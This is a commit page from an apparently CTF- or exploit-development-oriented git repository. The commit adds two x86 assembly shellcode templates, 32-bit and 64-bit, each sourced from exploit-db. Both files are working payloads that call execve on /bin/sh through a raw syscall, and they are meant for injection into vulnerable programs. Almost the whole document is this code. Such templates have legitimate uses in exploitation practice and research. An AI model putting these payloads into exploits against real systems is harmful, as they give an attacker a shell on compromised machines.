summaryrefslogtreecommitdiffstats
path: root/templates
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2021-08-22 05:52:56 -0400
committerMalfurious <m@lfurio.us>2021-08-22 05:52:56 -0400
commite9cb4e14009a9ea3cbd08c2c4992d0e24b69e097 (patch)
tree055c328103d0ec85f9fe901a3105aa062b37751f /templates
parent442640f100727a081cf26460992465386fe3a633 (diff)
downloadlib-des-gnux-e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097.tar.gz
lib-des-gnux-e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097.zip
Add generic /bin/sh shellcode templates
Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'templates')
-rw-r--r--templates/shellcode/shell32.asm14
-rw-r--r--templates/shellcode/shell64.asm15
2 files changed, 29 insertions, 0 deletions
diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm
new file mode 100644
index 0000000..d12910f
--- /dev/null
+++ b/templates/shellcode/shell32.asm
@@ -0,0 +1,14 @@
+[SECTION .text]
+global _start
+
+; https://www.exploit-db.com/shellcodes/46809
+
+_start:
+ xor ecx, ecx
+ push 0xb
+ pop eax
+ push ecx
+ push 0x68732f2f
+ push 0x6e69622f
+ mov ebx, esp
+ int 0x80
diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm
new file mode 100644
index 0000000..a6d4626
--- /dev/null
+++ b/templates/shellcode/shell64.asm
@@ -0,0 +1,15 @@
+[SECTION .text]
+global _start
+
+; https://www.exploit-db.com/shellcodes/47008
+
+_start:
+ xor rsi, rsi
+ push rsi
+ mov rdi, 0x68732f2f6e69622f
+ push rdi
+ push rsp
+ pop rdi
+ mov al, 0x3b
+ cdq
+ syscall